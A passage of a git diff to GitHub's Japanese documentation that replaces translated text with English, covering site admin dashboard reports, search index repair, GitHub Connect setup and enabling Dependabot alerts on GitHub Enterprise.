API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. -具体的には、次の情報を含む CSV 報告をダウンロードできます。 +Specifically, you can download CSV reports that list -- 全ユーザ -- 過去一ケ月の間、アクティブだった全ユーザ -- 過去一ケ月、アクティブでなかった全ユーザ -- 停止されている全ユーザ -- 全ての Organization -- 全ての リポジトリ +- all users +- all users who have been active within the last month +- all users who have been inactive for one month or more +- all users who have been suspended +- all organizations +- all repositories -サイトアドミンのアカウントを用いて標準の HTTP 認証を使用すれば、これらのレポートにプログラムでアクセスすることもできます。 `site_admin` スコープで個人アクセストークンを使用する必要があります。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。 +You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a personal access token with the `site_admin` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." -たとえば、cURL を使用して "all users" レポートをダウンロードする方法は次のとおりです: +For example, here is how you would download the "all users" report using cURL: ```shell curl -L -u username:token http(s)://hostname/stafftools/reports/all_users.csv ``` -他の報告にプログラムでアクセスするには、 `all_users` を `active_users`や、 `dormant_users`、`suspended_users`、`all_organizations`、`all_repositories` に置き換えてください。 +To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. {% note %} -**注：** キャッシュされた報告がない場合、最初の `curl` リクエストは、 202の HTTP レスポンスを返して、報告は背景で生成されます。 もう一度リクエストを送れば、その報告をダウンロードすることができます。 パスワードの代わりに、`site_admin` スコープでのパスワードまたはOAuthトークンを使うことができます。 +**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. {% endnote %} -### ユーザ報告 +### User reports -| キー | 説明 | -| -----------------:| -------------------------------------- | -| `created_at` | ユーザアカウントの作成時間（ISO 8601 のタイムスタンプ） | -| `id` | ユーザまたはOrganization のアカウント ID | -| `login` | アカウントのログイン名 | -| `email` | アカウントのプライマリメールアドレス | -| `ロール` | アカウントがアドミンか一般ユーザか | -| `suspended?` | アカウントが停止されているか | -| `last_logged_ip` | 最後にアカウントにログインしたときの IP アドレス | -| `repos` | アカウントが所有しているリポジトリの数 | -| `ssh_keys` | アカウントに登録されているSSHキーの数 | -| `org_memberships` | アカウントが所属している Organization の数 | -| `dormant?` | アカウントが休眠であるかどうか | -| `last_active` | アカウントが最後にアクティブだったとき（ISO 8601 のタイムスタンプ） | -| `raw_login` | （JSON フォーマットでの）未処理のログイン情報 | -| `2fa_enabled?` | ユーザが二段階認証を有効にしているかどうか | +Key | Description +-----------------:| ------------------------------------------------------------ +`created_at` | When the user account was created (as an ISO 8601 timestamp) +`id` | Account ID for the user or organization +`login` | Account's login name +`email` | Account's primary email address +`role` | Whether the account is an admin or an ordinary user +`suspended?` | Whether the account has been suspended +`last_logged_ip` | Most recent IP address to log into the account +`repos` | Number of repositories owned by the account +`ssh_keys` | Number of SSH keys registered to the account +`org_memberships` | Number of organizations to which the account belongs +`dormant?` | Whether the account is dormant +`last_active` | When the account was last active (as an ISO 8601 timestamp) +`raw_login` | Raw login information (in JSON format) +`2fa_enabled?` | Whether the user has enabled two-factor authentication -### Organization の報告 +### Organization reports -| キー | 説明 | -| ---------------:| ------------------------------- | -| `id` | Organization の ID | -| `created_at` | Organization の作成時間 | -| `login` | Organization のログイン名 | -| `email` | Organization のプライマリメールアドレス | -| `owners` | Organizationのオーナーの数 | -| `members` | Organization のメンバーの数 | -| `teams` | Organization のチームの数 | -| `repos` | Organization のリポジトリの数 | -| `2fa_required?` | Organization が二段階認証を有効にしているかどうか | +Key | Description +--------------:| ------------------------------------ +`id` | Organization ID +`created_at` | When the organization was created +`login` | Organization's login name +`email` | Organization's primary email address +`owners` | Number of organization owners +`members` | Number of organization members +`teams` | Number of organization teams +`repos` | Number of organization repositories +`2fa_required?`| Whether the organization requires two-factor authentication -### リポジトリ の報告 +### Repository reports -| キー | 説明 | -| ---------------:| ----------------------------- | -| `created_at` | リポジトリの作成時間 | -| `owner_id` | リポジトリのコードオーナーの ID | -| `owner_type` | リポジトリの所有者がユーザか Organization か | -| `owner_name` | リポジトリの所有者の名前 | -| `id` | リポジトリの ID | -| `name` | リポジトリの名前 | -| `visibility` | リポジトリが公開かプライベートか | -| `readable_size` | 人間が読める形式のリポジトリのサイズ | -| `raw_size` | 数字でのリポジトリのサイズ | -| `collaborators` | リポジトリのコラボレータの数 | -| `fork?` | リポジトリがフォークであるかどうか | -| `deleted?` | リポジトリが削除されているかどうか | +Key | Description +---------------:| ------------------------------------------------------------ +`created_at` | When the repository was created +`owner_id` | ID of the repository's owner +`owner_type` | Whether the repository is owned by a user or an organization +`owner_name` | Name of the repository's owner +`id` | Repository ID +`name` | Repository name +`visibility` | Whether the repository is public or private +`readable_size` | Repository's size in a human-readable format +`raw_size` | Repository's size as a number +`collaborators` | Number of repository collaborators +`fork?` | Whether the repository is a fork +`deleted?` | Whether the repository has been deleted {% ifversion ghes %} -## インデックス化 +## Indexing -GitHub の[コード検索][]フィーチャは、[Elasticsearch][] に駆動されています。 サイトアドミンのダッシュボードのこのセクションには、ElasticSearch クラスターの現在のステータスが表示され、検索とインデックス作成の動作を制御するためのいくつかのツールが用意されています。 このツールは、次の3つのカテゴリーに分類されています。 +GitHub's [code search][] features are powered by [ElasticSearch][]. This section of the site admin dashboard shows you the current status of your ElasticSearch cluster and provides you with several tools to control the behavior of searching and indexing. These tools are split into the following three categories. -### コード検索 + [Code Search]: https://github.com/blog/1381-a-whole-new-code-search + [ElasticSearch]: http://www.elasticsearch.org/ -これによって、ソースコードに対する検索とインデックスの作業を有効または無効にすることができます。 +### Code search -### コード検索インデックスの修復 +This allows you to enable or disable both search and index operations on source code. -これはコード検索インデックスがどのように修復されるかを制御します。 次のことができます: +### Code search index repair -- インデックスの修理ジョブを有効または無効にする -- 新規インデックス修理ジョブを開始する -- インデックス修理状態を全てリセットする +This controls how the code search index is repaired. You can -{% data variables.product.prodname_enterprise %}は、修理ジョブを使って、検索インデックスの状態をデータベースで保存されているデータ（Issueやプルリクエスト、リポジトリ、ユーザ）と Git リポジトリに保存されているデータ（ソースコード）を照合することができます。 これは次の場合に使用されます。 +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state -- 新規検索インデックスが作成される -- 欠損データを埋め戻ししなければいけない場合 -- 古い検索データを更新しなければいけない場合 +{% data variables.product.prodname_enterprise %} uses repair jobs to reconcile the state of the search index with data stored in a database (issues, pull requests, repositories, and users) and data stored in Git repositories (source code). This happens when -すなわち、修理ジョブは、必要に応じて開始され、背景で作動しています。サイトアドミンが修理ジョブの開始時間を決めるわけではありません。 +- a new search index is created; +- missing data needs to be backfilled; or +- old search data needs to be updated. -さらに、修理ジョブは、並列化のために"修理オフセット"を使っています。 これは照合されているレコードのデータベーステーブルへのオフセットです。 このオフセットによって、複数の背景ジョブの作業を同期化できます。 +In other words, repair jobs are started as needed and run in the background—they are not scheduled by site admins in any way. -プログレスバーは、全ての背景ワーカープロセスによる、現在の修理ステータスを表示します。 それは、データベースの中の最高レコード ID と修理オフセットでのパーセント差です。 修復ジョブが完了した後にプログレスバーに表示される値については心配しないでください。それは修復オフセットとデータベース内の最大レコード ID の差を示すものであるため、たとえリポジトリが実際にインデックス付けされていても、{% data variables.product.product_location %} にリポジトリが追加されるにつれて値は減少します。 +Furthermore, repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. -いつでも新規コード検索インデックスの修理ジョブを開始できます。 1つの CPU を使って、検索インデックスをデータベース及びGitのリポジトリデータと照合します。 I/O パフォーマンスに与える影響を最小限にするため、および、オペレーションがタイムアウトする可能性を減少するために混雑していない時間帯に修理ジョブを実行してみてください。 `top` のようなユーティリティで、システム負荷と CPU 使用率の平均を監視しましょう。大差がない場合は、混雑している時間帯にもインデックスの修理ジョブを実行しても安全なはずです。 +A progress bar shows the current status of a repair job across all of its background workers. It is the percentage difference of the repair offset with the highest record ID in the database. Don't worry about the value shown in the progress bar after a repair job has completed: because it shows the difference between the repair offset and the highest record ID in the database, it will decrease as more repositories are added to {% data variables.product.product_location %} even though those repositories are actually indexed. -### Issue インデックスの修復 +You can start a new code-search index repair job at any time. It will use a single CPU as it reconciles the search index with database and Git repository data. To minimize the effects this will have on I/O performance and reduce the chances of operations timing out, try to run a repair job during off-peak hours first. Monitor your system's load averages and CPU usage with a utility like `top`; if you don't notice any significant changes, it should be safe to run an index repair job during peak hours, as well. -これは [Issues][] インデックスがどのように修復されるかを制御します。 次のことができます: +### Issues index repair -- インデックスの修理ジョブを有効または無効にする -- 新規インデックス修理ジョブを開始する -- インデックス修理状態を全てリセットする +This controls how the [Issues][] index is repaired. You can + + [Issues]: https://github.com/blog/831-issues-2-0-the-next-generation + +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state {% endif %} ## Reserved logins @@ -171,59 +178,52 @@ Certain words are reserved for internal use in {% data variables.product.product For example, the following words are reserved, among others: -- `管理` -- `Enterprise` +- `admin` +- `enterprise` - `login` - `staff` -- `サポート` +- `support` For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. {% ifversion ghes or ghae %} -## 全ユーザ +## Enterprise overview -ここでは、{{ site.data.variables.product.product_location_enterprise }} で一時停止されているすべてのユーザーを確認することができ、そして [SSH キー監査を開始する](/enterprise/{{ page.version }}/admin/guides/user-management/auditing-ssh-keys)ことができます。 +Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. {% endif %} -## リポジトリ +## Repositories -これは {% data variables.product.product_location %} 上のリポジトリのリストです。 リポジトリ名をクリックしてリポジトリを管理するための機能にアクセスできます。 +This is a list of the repositories on {% data variables.product.product_location %}. You can click on a repository name and access functions for administering the repository. -- [リポジトリへのフォースプッシュをブロックする](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) -- [{% data variables.large_files.product_name_long %} を設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) -- [リポジトリのアーカイブへの保管と削除](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) +- [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [Archiving and unarchiving repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) -## 全ユーザ +## All users Here you can see all of the users on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## サイトアドミン +## Site admins -ここでは、{% data variables.product.product_location %} 上のすべての管理者を確認することができ、そして [SSH キー監査を開始する](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys)ことができます。 +Here you can see all of the administrators on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## 休眠ユーザ +## Dormant users {% ifversion ghes %} -ここでは、{% data variables.product.product_location %} 上のすべての非アクティブなユーザーを確認して、[一時停止](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users)することができます。 ユーザアカウントは、次の場合において、非アクティブ（休眠）とみなされます。 +Here you can see and [suspend](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} {% ifversion ghae %} -Here you can see and suspend all of the inactive users on {% data variables.product.product_location %}. ユーザアカウントは、次の場合において、非アクティブ（休眠）とみなされます。 +Here you can see and suspend all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} -- {% data variables.product.product_location %} 用に設定されている休眠しきい値よりも長く存在している。 -- その期間内にどのアクティビティも生成していない。 -- サイト管理人ではない +- Has existed for longer than the dormancy threshold that's set for {% data variables.product.product_location %}. +- Has not generated any activity within that time period. +- Is not a site administrator. -{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} 詳細は「[休眠ユーザを管理する](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)」を参照してください。 +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." -## 停止されたユーザ +## Suspended users -ここでは、{% data variables.product.product_location %} で一時停止されているすべてのユーザーを確認することができ、そして [SSH キー監査を開始する](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys)ことができます。 - - [ 流行ページ]: https://github.com/blog/1585-explore-what-is-trending-on-github - - [コード検索]: https://github.com/blog/1381-a-whole-new-code-search - [Elasticsearch]: http://www.elasticsearch.org/ - - [Issues]: https://github.com/blog/831-issues-2-0-the-next-generation +Here you can see all of the users who have been suspended on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md index 3eaa01cd20..52b99fa99f 100644 --- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md +++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md @@ -1,7 +1,7 @@ --- title: Connecting your enterprise account to GitHub Enterprise Cloud shortTitle: Connect enterprise accounts -intro: '{% data variables.product.prodname_github_connect %}を有効化すると、特定の機能やワークフローを{% data variables.product.product_location %}と{% data variables.product.prodname_ghe_cloud %}のOrganizationの間で共有できます。' +intro: 'After you enable {% data variables.product.prodname_github_connect %}, you can share specific features and workflows between {% data variables.product.product_location %} and {% data variables.product.prodname_ghe_cloud %}.' redirect_from: - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-to-github-com/ - /enterprise/admin/guides/developer-workflow/connecting-github-enterprise-server-to-github-com @@ -24,60 +24,63 @@ topics: {% data reusables.github-connect.beta %} -## {% data variables.product.prodname_github_connect %} について +## About {% data variables.product.prodname_github_connect %} -{% data variables.product.prodname_github_connect %}を有効化するには、{% data variables.product.product_location %}と{% data variables.product.prodname_ghe_cloud %} のOrganizationまたはEnterpriseアカウントの両方で接続を設定しなければなりません。 +To enable {% data variables.product.prodname_github_connect %}, you must configure the connection in both {% data variables.product.product_location %} and in your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% ifversion ghes %} -接続を設定するには、プロキシの設定で`github.com` および `api.github.com` への接続が許可されていなければなりません。 詳細は「[アウトバウンド Web プロキシサーバーを設定する](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)」を参照してください。 +To configure a connection, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Configuring an outbound web proxy server](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-an-outbound-web-proxy-server)." {% endif %} -{% data variables.product.prodname_github_connect %}を有効化すると、Unified Searchや統合コントリビューションといった機能を使用できるようになります。 For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." +After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as unified search and unified contributions. For more information about all of the features available, see "[Managing connections between your enterprise accounts](/admin/configuration/managing-connections-between-your-enterprise-accounts)." -{% data variables.product.product_location %}を{% data variables.product.prodname_ghe_cloud %}に接続すると、{% data variables.product.prodname_dotcom_the_website %}上のレコードに、接続に関する情報が保存されます: +When you connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %}, a record on {% data variables.product.prodname_dotcom_the_website %} stores information about the connection: {% ifversion ghes %} -- {% data variables.product.prodname_ghe_server %} ライセンスの公開鍵の部分 -- {% data variables.product.prodname_ghe_server %} ライセンスのハッシュ -- {% data variables.product.prodname_ghe_server %} ライセンスの顧客名 +- The public key portion of your {% data variables.product.prodname_ghe_server %} license +- A hash of your {% data variables.product.prodname_ghe_server %} license +- The customer name on your {% data variables.product.prodname_ghe_server %} license - The version of {% data variables.product.product_location_enterprise %}{% endif %} - The hostname of your {% data variables.product.product_name %} instance -- {% data variables.product.product_location %}に接続している{% data variables.product.prodname_dotcom_the_website %}上のOrganizationまたはEnterpriseアカウント -- {% data variables.product.prodname_dotcom_the_website %} へのリクエストの発行に {% data variables.product.product_location %} が使用する認証トークン +- The organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that's connected to {% data variables.product.product_location %} +- The authentication token that's used by {% data variables.product.product_location %} to make requests to {% data variables.product.prodname_dotcom_the_website %} -{% data variables.product.prodname_github_connect %}を有効化すると、{% data variables.product.prodname_ghe_cloud %}のOrganizationまたはEnterpriseアカウントが所有している{% data variables.product.prodname_github_app %}も作成されます。 {% data variables.product.product_name %} は {% data variables.product.prodname_github_app %} のクレデンシャルを使って {% data variables.product.prodname_dotcom_the_website %} へのリクエストを発行します。 +Enabling {% data variables.product.prodname_github_connect %} also creates a {% data variables.product.prodname_github_app %} owned by your {% data variables.product.prodname_ghe_cloud %} organization or enterprise account. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghes %} -{% data variables.product.prodname_ghe_server %} は {% data variables.product.prodname_github_app %} からのクレデンシャルを保存します。 以下のクレデンシャルは、High Availability あるいはクラスタリング環境ではレプリケーションされ、{% data variables.product.prodname_enterprise_backup_utilities %} が作成するスナップショットを含むあらゆるバックアップに保存されます。 -- 1 時間にわたって有効な認証トークン -- 新しい認証トークンを生成するのに使われる秘密鍵 +{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. These credentials will be replicated to any high availability or clustering environments, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}. +- An authentication token, which is valid for one hour +- A private key, which is used to generate a new authentication token {% endif %} -{% data variables.product.prodname_github_connect %} を有効化しても、{% data variables.product.prodname_dotcom_the_website %} のユーザは {% data variables.product.product_name %} を変更できるようになりません。 +Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}. -GraphQL APIを利用したEnterpriseアカウントの管理に関する詳しい情報については、「[Enterprise アカウント](/graphql/guides/managing-enterprise-accounts)」を参照してください。 -## {% data variables.product.prodname_github_connect %} の有効化 +For more information about managing enterprise accounts using the GraphQL API, see "[Enterprise accounts](/graphql/guides/managing-enterprise-accounts)." +## Enabling {% data variables.product.prodname_github_connect %} {% ifversion ghes %} -1. {% data variables.product.product_location %}と{% data variables.product.prodname_dotcom_the_website %}にサインインしてください。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %}{% else %} -1. {% data variables.product.product_location %}と{% data variables.product.prodname_dotcom_the_website %}にサインインしてください。 +1. Sign in to {% data variables.product.product_location %} and {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} -1. 「{% data variables.product.prodname_github_connect %} is not enabled yet」の下で、「**Enable{% data variables.product.prodname_github_connect %}**」をクリックします。 By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." +1. Under "{% data variables.product.prodname_github_connect %} is not enabled yet", click **Enable {% data variables.product.prodname_github_connect %}**. By clicking **Enable {% data variables.product.prodname_github_connect %}**, you agree to the "{% data variables.product.prodname_dotcom %} Terms for Additional Products and Features." {% ifversion ghes %} -![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} -![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) + ![Enable GitHub Connect button](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} + ![Enable GitHub Connect button](/assets/images/enterprise/github-ae/enable-github-connect-button.png) {% endif %} -1. 接続したいEnterpriseアカウントまたはOrganizationの横にある「**Connect**」をクリックします。 ![Enterprise アカウントまたはビジネスアカウントの横にある [Connect] ボタン](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) +1. Next to the enterprise account or organization you'd like to connect, click **Connect**. + ![Connect button next to an enterprise account or business](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) ## Disconnecting a {% data variables.product.prodname_ghe_cloud %} organization or enterprise account from your enterprise account -{% data variables.product.prodname_ghe_cloud %}から切断すると、EnterpriseアカウントまたはOrganizationから{% data variables.product.prodname_github_connect %}{% data variables.product.prodname_github_app %}が削除され、{% data variables.product.product_location %}に保存されているクレデンシャルが削除されます。 +When you disconnect from {% data variables.product.prodname_ghe_cloud %}, the {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} is deleted from your enterprise account or organization and credentials stored on {% data variables.product.product_location %} are deleted. {% data reusables.enterprise-accounts.access-enterprise %}{% ifversion ghes < 3.1 %}{% data reusables.enterprise-accounts.settings-tab %}{% endif %}{% data reusables.enterprise-accounts.github-connect-tab %} -1. 切断しようとするEnterpriseアカウントまたはOrganizationの横にある「**Disable {% data variables.product.prodname_github_connect %}**」をクリックします。 +1. Next to the enterprise account or organization you'd like to disconnect, click **Disable {% data variables.product.prodname_github_connect %}**. {% ifversion ghes %} - ![EnterpriseアカウントまたはOrganization名の横にある「Disable GitHub Connect」ボタン](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) -1. 切断に関する情報を読み、「 **Disable {% data variables.product.prodname_github_connect %}**」をクリックします。 ![切断に関する警告情報が表示され確定ボタンがあるモーダル](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) {% else %} - ![EnterpriseアカウントまたはOrganization名の横にある「Disable GitHub Connect」ボタン](/assets/images/enterprise/github-ae/disable-github-connect-button.png) -1. 切断に関する情報を読み、「 **Disable {% data variables.product.prodname_github_connect %}**」をクリックします。 ![切断に関する警告情報が表示され確定ボタンがあるモーダル](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) + ![Disable GitHub Connect button next to an enterprise account or organization name](/assets/images/enterprise/github-ae/disable-github-connect-button.png) +1. Read the information about disconnecting and click **Disable {% data variables.product.prodname_github_connect %}**. + ![Modal with warning information about disconnecting and confirmation button](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) {% endif %} diff --git a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md index 560b39d4e2..7ae65dd0ef 100644 --- a/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md +++ b/translations/ja-JP/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md @@ -1,6 +1,6 @@ --- title: Enabling the dependency graph and Dependabot alerts on your enterprise account -intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts in repositories in your instance.' +intro: 'You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_ghe_cloud %} and enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} in repositories in your instance.' shortTitle: Enable dependency analysis redirect_from: - /enterprise/admin/installation/enabling-security-alerts-for-vulnerable-dependencies-on-github-enterprise-server @@ -9,7 +9,7 @@ redirect_from: - /admin/configuration/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-github-enterprise-server-and-github-enterprise-cloud/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server - /admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-alerts-for-vulnerable-dependencies-on-github-enterprise-server -permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot %} alerts on {% data variables.product.product_location %}.' +permissions: 'Enterprise owners who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on {% data variables.product.product_location %}.' versions: ghes: '*' ghae: issue-4864 @@ -20,8 +20,7 @@ topics: - Dependency graph - Dependabot --- - -## {% data variables.product.product_location %} 上の脆弱性のある依存関係に対するアラートについて +## About alerts for vulnerable dependencies on {% data variables.product.product_location %} {% data reusables.dependabot.dependabot-alerts-beta %} @@ -34,9 +33,9 @@ For more information about these features, see "[About the dependency graph](/gi ### About synchronization of data from the {% data variables.product.prodname_advisory_database %} -{% data reusables.repositories.tracks-vulnerabilities %} +{% data reusables.repositories.tracks-vulnerabilities %} -You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. また、脆弱性データはいつでも手動で同期することができます。 {% data variables.product.product_location %} からのコードまたはコードに関する情報は、{% data variables.product.prodname_dotcom_the_website %} にアップロードされません。 +You can connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %} with {% data variables.product.prodname_github_connect %}. Once connected, vulnerability data is synced from the {% data variables.product.prodname_advisory_database %} to your instance once every hour. You can also choose to manually sync vulnerability data at any time. No code or information about code from {% data variables.product.product_location %} is uploaded to {% data variables.product.prodname_dotcom_the_website %}. ### About generation of {% data variables.product.prodname_dependabot_alerts %} @@ -44,7 +43,7 @@ If you enable vulnerability detection, when {% data variables.product.product_lo ## Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies on {% data variables.product.product_location %} -### 必要な環境 +### Prerequisites For {% data variables.product.product_location %} to detect vulnerable dependencies and generate {% data variables.product.prodname_dependabot_alerts %}: - You must connect {% data variables.product.product_location %} to {% data variables.product.prodname_dotcom_the_website %}. {% ifversion ghae %}This also enables the dependency graph service. {% endif %}{% ifversion ghes or ghae-next %}For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."{% endif %} @@ -53,20 +52,21 @@ For {% data variables.product.product_location %} to detect vulnerable dependenc {% ifversion ghes %} {% ifversion ghes > 3.1 %} -You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. +You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend you follow the {% data variables.enterprise.management_console %} route unless {% data variables.product.product_location %} uses clustering. ### Enabling the dependency graph via the {% data variables.enterprise.management_console %} {% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %} -1. Under "Security," click **Dependency graph**. ![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) +1. Under "Security," click **Dependency graph**. +![Checkbox to enable or disable the dependency graph](/assets/images/enterprise/3.2/management-console/enable-dependency-graph-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -1. **Visit your instance（インスタンスへのアクセス）**をクリックしてください。 +1. Click **Visit your instance**. ### Enabling the dependency graph via the administrative shell {% endif %}{% ifversion ghes < 3.2 %} -### 依存関係グラフの有効化 +### Enabling the dependency graph {% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %} 1. In the administrative shell, enable the dependency graph on {% data variables.product.product_location %}: @@ -75,17 +75,17 @@ You can enable the dependency graph via the {% data variables.enterprise.managem ``` {% note %} - **注釈**: SSH 経由で管理シェルへのアクセスを有効化する方法について詳しくは、「[管理シェル (SSH) にアクセスする](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)」を参照してください。 + **Note**: For more information about enabling access to the administrative shell via SSH, see "[Accessing the administrative shell (SSH)](/enterprise/{{ currentVersion }}/admin/configuration/accessing-the-administrative-shell-ssh)." {% endnote %} -1. 設定を適用します。 +1. Apply the configuration. ```shell $ ghe-config-apply ``` -1. {% data variables.product.prodname_ghe_server %}に戻ります。 +1. Return to {% data variables.product.prodname_ghe_server %}. {% endif %} -### {% data 